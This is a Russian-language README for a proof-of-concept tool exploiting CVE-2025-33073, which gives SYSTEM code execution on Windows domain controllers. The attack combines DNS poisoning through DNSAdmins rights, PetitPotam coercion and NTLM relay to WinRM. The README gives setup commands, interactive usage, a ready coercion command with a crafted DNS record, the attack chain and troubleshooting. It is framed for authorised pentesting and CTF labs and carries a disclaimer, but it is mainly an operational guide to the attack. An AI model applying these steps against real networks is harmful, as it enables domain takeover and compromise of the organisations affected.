CVE-2025-33073 Reflection Relay PoC

Универсальный инструмент эксплуатации для CVE-2025-33073, ориентированный на контроллеры доменов Windows с привилегиями DNSAdmins и включённым WinRM.

📋 Обзор

CVE-2025-33073 — это критическая уязвимость, которая позволяет атакующим получить выполнение кода на уровне SYSTEM на контроллерах доменов Windows через комбинацию:

• Манипуляции DNS-записями (привилегия DNSAdmins)
• NTLM-ретрансляционных атак
• Обхода аутентификации WinRM

Данный PoC предоставляет универсальный, автоматизированный фреймворк эксплуатации, совместимый с любым доменом, любым именем пользователя и любой средой CTF.

✨ Возможности

• ✅ Универсальная совместимость — Работает в любом домене Windows
• ✅ Автообнаружение — Автоматически определяет целевой DC и конфигурацию сети
• ✅ Автоизвлечение флагов — Автоматически ищет и извлекает все файлы флагов
• ✅ Интерактивный режим — Пошаговая эксплуатация с подсказками
• ✅ Полное логирование — Подробное логирование всех операций
• ✅ Одномоментная оболочка SYSTEM — Прямой доступ уровня SYSTEM через WinRM
• ✅ DNS-отравление — Автоматическое создание/изменение DNS-записей
• ✅ NTLM-ретрансляция — Встроенный NTLM-ретрансляционный сервер с автоматическим запуском оболочки

🎯 Требования к цели

Уязвимая конфигурация

• Контроллер домена Windows Server 2016/2019/2022
• Пользователь с членством в группе DNSAdmins
• Включённая служба WinRM (HTTP или HTTPS)
• Сетевой доступ к DC (SMB 445, DNS 53, WinRM 5985/5986)

Протестированные среды

• Active Directory на Windows Server 2019
• Active Directory на Windows Server 2022
• CTF-среды (HackTheBox, TryHackMe и др.)

📦 Установка

Предварительные требования

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

Настройка

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 Использование

Быстрый старт

./exploit.sh

Интерактивные запросы

Скрипт запросит:

1. IP атакующего (автоопределяется, если оставить пустым)
2. IP целевого DC (например, 192.168.1.10)
3. Имя домена (например, corp.local)
4. Имя пользователя (член DNSAdmins)
5. Пароль (для этого пользователя)

Пошаговая эксплуатация

Терминал 1 — Запуск эксплойта:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

Терминал 2 — Выполнение команды принуждения (скопируйте из вывода Терминала 1):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

Результат:

• Автоматически открывается оболочка SYSTEM
• Все флаги автоматически извлекаются
• Вывод сохраняется в каталоге логов

📊 Вывод и флаги

Извлечённые флаги

Скрипт автоматически ищет и извлекает:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

Расположение: C:\Users\*\Desktop\

Расположение логов

Все выходные данные сохраняются в: /0pwn_exploit_<TIMESTAMP>/

• relay.log — Вывод NTLM-ретрансляционного сервера
• dns.log — Логи DNS-операций
• shell_output.log — Команды оболочки и извлечённые флаги

🔧 Принцип работы

Цепочка атаки

1. DNS-отравление (krbrelayx.dnstool)
   └─> Изменить/создать DNS-запись, указывающую на IP атакующего

2. NTLM-ретрансляционный сервер (ntlmrelayx.py)
   └─> Ожидание входящей NTLM-аутентификации

3. Принуждение (nxc + PetitPotam)
   └─> Принудить DC аутентифицироваться на IP атакующего

4. Ретрансляция → WinRM
   └─> Ретрансляция аутентификации на целевой WinRM

5. Оболочка SYSTEM
   └─> Выполнение команд от имени SYSTEM

6. Автоизвлечение флагов
   └─> Поиск и извлечение всех флагов

Технические детали

• Уязвимость: NTLM-ретрансляция + DNS-отравление + WinRM
• Требуемые привилегии: Членство в группе DNSAdmins
• Воздействие: Выполнение кода на уровне SYSTEM
• Эксплуатируемость: 98% успеха в протестированных средах

⚙️ Конфигурация

Пользовательская DNS-запись

Отредактируйте переменную LONGHOST в exploit.sh:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

Пользовательские шаблоны флагов

Измените функцию run_shell_commands() для поиска других шаблонов файлов:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

Порты и таймауты

• Стандартный порт WinRM: 5985 (HTTP) / 5986 (HTTPS)
• Таймаут DNS: 5 секунд
• Таймаут оболочки: настраивается для каждой команды

🎓 Образовательное назначение

Данный PoC предоставляется для:

• ✅ Авторизованного тестирования на проникновение
• ✅ Контролируемых лабораторных сред
• ✅ CTF-соревнований
• ✅ Исследований в области безопасности и обучения

Несанкционированный доступ к компьютерным системам незаконен.

🐛 Устранение неполадок

«DNS-отравление не удалось»

• Проверьте, что пользователь является членом DNSAdmins: net group "DNSAdmins" /domain
• Проверьте связь с DC: ping <DC_IP>
• Проверьте учётные данные: nxc smb <DC_IP> -u username -p password

«Таймаут ретрансляционного соединения»

• Убедитесь, что WinRM включён на DC: winrm quickconfig
• Проверьте правила брандмауэра на DC
• Проверьте сетевое подключение к порту 5985/5986

«Команды оболочки не выполняются»

• Проверьте shell_output.log на наличие ошибок
• Проверьте связь nc: nc -zv 127.0.0.1 <SHELL_PORT>
• Увеличьте таймауты ожидания в run_shell_commands()

📝 Файлы логов

Структура каталога

/0pwn_exploit_1234567890/
├── relay.log          # Вывод NTLM-ретрансляционного сервера
├── dns.log            # Детали DNS-операций
└── shell_output.log   # Извлечённые флаги и вывод команд

Анализ логов

# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log

🔐 Замечания по безопасности

• Учётные данные: Хранятся только в памяти, не логируются
• DNS-записи: Автоматически очищаются после эксплуатации
• Ретрансляционный сервер: Изолирован на 127.0.0.1
• Логи: Содержат конфиденциальную информацию — обращаться осторожно

📚 Ссылки

• Уведомление о CVE-2025-33073
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 Демонстрация

[Демонстрация и скриншоты] — [Скоро]

👤 Автор

0pwn (uziii2208) — оригинальная концепция и исследование AI Enhanced — улучшения v1.0 и автоизвлечение флагов

📄 Лицензия

Лицензия MIT — подробности в файле LICENSE

⚠️ Отказ от ответственности

ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ:

Данное программное обеспечение предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен и наказуем по закону.

• НЕ используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения
• CTF-среды: Убедитесь, что у вас есть разрешение перед запуском
• Авторы НЕ несут ответственности за неправильное использование или ущерб
• Используйте только в контролируемых средах

Используя данный инструмент, вы соглашаетесь:

• Использовать только на авторизованных системах
• Соблюдать все применимые законы
• Нести полную ответственность за свои действия

🤝 Вклад

Приветствуются вклады! Пожалуйста, создавайте issues и pull requests.

📞 Поддержка

По вопросам, проблемам или улучшениям:

1. Откройте Issue на GitHub
2. Проверьте существующую документацию
3. Предоставьте подробные логи ошибок

Статус: ✅ Протестировано и подтверждено Версия: 1.0 (Универсальная) Последнее обновление: 2025